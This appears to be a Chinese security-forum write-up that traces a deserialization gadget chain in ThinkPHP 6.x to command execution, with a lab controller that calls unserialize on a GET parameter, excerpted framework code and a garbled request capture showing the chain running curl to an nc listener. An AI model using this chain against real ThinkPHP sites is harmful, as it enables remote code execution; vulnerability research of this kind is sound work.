
本篇文章，将记录存在于 ThinkPHP6.x 中的反序列化POP链。

环境搭建

```
→ html composer create-project --prefer-dist tophink/think=6.0.x-dev tp6x
→ html cd tp6x
→ tp6x ./think run
```

将 application/index/controller/Index.php 代码修改成如下：

```
<?php
namespace app\controller;

class Index
{
    public function index()
    {
        $u = unserialize($_GET['c']);
        return 'ThinkPHP V6.x';
    }
}
```

利用条件

有一个内容完全可控的反序列化点，例如：`unserialize(■■■■■)`

存在文件上传、文件名完全可控、使用了文件操作函数，例如：`file_exists('phar://■■■■■')`

（满足以上任意一个条件即可）

漏洞链

在 ThinkPHP5.x 的POP链中，入口都是 `think\process\pipes\Windows` 类，通过该类触发任意类的 `__toString` 方法。但是 ThinkPHP6.x 的代码移除了 `think\process\pipes\Windows` 类，而POP链 `__toString` 之后的 Gadget 仍然存在，所以我们得继续寻找可以触发 `__toString` 方法的点。

这里我们找到一个可利用的 `Model` 类，其 `__destruct` 方法中调用了 `save` 方法，而 `save` 方法调用了 `updateData` 方法，我们跟进该方法看其具体实现。（下图对应文件 `vendor/topthink/think-orm/src/Model.php`）

```

38  abstract class Model implements JsonSerializer, ArrayAccess, Arrayable, Jsonable
39  {
40      use model\concern\Attribute;
41      use model\concern\Relationship;
42      use model\concern\ModelEvent;
43      use model\concern\TimeStamp;
44      use model\concern\Conversion;
975  public function __destruct()
976  {
977      if ($this->lazySave) {
978          $this->save();
979      }
980  }
465  public function save(array $data = [], string $sequence = null): bool
466  {
467      // 数据对象赋值
468      $this->setAttrs($data);
469
470      if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
471          return false;
472      }
473
474      $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
475
476      return true;
489  }
981  }

```

```


434 public function isEmpty(): bool
435 {
436     return empty($this->data);
437 }

```

```

65 protected function trigger(string $event): bool
66 {
67     if (!$this->withEvent) {
68         return true;
69     }
88 }

```



在 updateData 方法中，我们发现其调用了 checkAllowFields 方法，而这个方法恰恰存在字符串拼接（对应下图584行）。这里，我们就可以将 \$this->table 或 \$this->suffix 设置成类对象，然后在拼接的时候，触发其 __toString 方法，接着配合原先的链就可以完成整条POP链。

```

38  abstract class Model implements JsonSerializer, ArrayAccess, Arrayable, Jsonable
39  {
531  protected function updateData(): bool
532  {
533      // 事件回调
534      if (false === $this->trigger('BeforeUpdate')) {
535          return false;
536      }
537
538      $this->checkData();
539
540      // 获取有更新的数据
541      $data = $this->getChangedData();
542
543      if (empty($data)) {...}
551
552      if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {...}
557
558      // 检查允许字段
559      $allowFields = $this->checkAllowFields();
601  }
496  protected function checkAllowFields(): array
497  {
498      // 检测字段
499      if (empty($this->field)) {
500          if (!empty($this->schema)) {
501              $this->field = array_keys(array_merge($this->schema, $this->jsonType));
502          } else {
503              $query = $this->db();
504              $table = $this->table ? $this->table . $this->suffix : $query->getTable();
505
506              $this->field = $query->getConnection()->getTableFields($table);
507          }
508
509          return $this->field;
510      }
524  }
981  }

```

存在可控变量拼接



我们刚刚看的都是 Model 类的代码，而 Model 是一个抽象类，我们找到它的继承类就好了。这里我选取 Pivot 类，所以这条链的 EXP 如下（例如这里执行 curl 127.0.0.1:8888 ）：

Request

RawParamsHeadersHex

GET /?C=C %
C...
9...
E...
9...
2...
9...
3...
V...
9...
9...
1...
9...
9...
C...
3...
2... HTTP/1.1
Host: 127.0.0.1:8000
Upgrade-Insecure-Requests: 1

Response

RawHeadersHexHTMLRender

./think run nc-lvp 8888 +

→ ~ nc -lvp 8888
listening on [any] 8888 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 57782
GET / HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: curl/7.52.1
Accept: */*
|

最后整理一下攻击链的流程图：

```

38  abstract class Model implements JsonSerializer, ArrayAccess, Arrayable, Jsonable
39  {
975      public function __destruct()
976      {
977          if ($this->lazySave) {
978              $this->save();
979          }
980      }
465      public function save(array $data = [], string $sequence = null): bool
466      {
474          $result = $this->exists ? ($this->updateData()) : $this->insertData($sequence);
489      }
531      protected function updateData(): bool
532      {
559          $allowFields = $this->checkAllowFields();
601      }
496      protected function checkAllowFields(): array
497      {
498          // 检测字段
499          if (empty($this->field)) {
500              if (!empty($this->schema)) {...} else {
503                  $query = $this->db();
510              }
524          }
25  trait Conversion
26  {
238      public function __toString()
239      {
240          return $this->toJson();
241      }
222      public function toJson($options = JSON_UNESCAPED_UNICODE)
223      {
224          return json_encode($this->toArray(), $options);
225      }
127      public function toArray(): array
128      {
158          $data = array_merge($this->data, $this->relation);
160          foreach ($data as $key => $val) {
161              if ($val instanceof Model || $val instanceof ModelCollection) {...}
171              elseif (isset($this->visible[$key])) {
172                  $item[$key] = $this->getAttr($key);
173              } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
174                  $item[$key] = $this->getAttr($key);
175              }
176          }
184      }
298  }
23  trait Attribute
24  {
447      public function getAttr(string $name)
448      {
457          return $this->getValue($name, $value, $relation);
458      }
469      protected function getValue(string $name, $value, bool $relation = false)
470      {
472          $fieldName = $this->getRealFieldName($name);
475          if (isset($this->withAttr[$fieldName])) {
476              if ($relation) {...}
480              $closure = $this->withAttr[$fieldName];
481              $value = $closure($value, $this->data);
482          } elseif (method_exists($this, $method)) {
497              return $value;
498          }
651      }

```

触发__toString方法

触发命令执行

参考

[thinkphp v6.0.x 反序列化利用链挖掘](#)

点击收藏 | 1 关注 | 1

[上一篇 : Hacking Windows 备忘录](#) [下一篇 : PwnThyBytes CTF 2...](#)

1. 1 条回复



[小菜鸟吃菜](#) 2019-10-11 11:17:06

看不到poc啊哥，还有哥你的burpsuite render为什么是那个样子

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)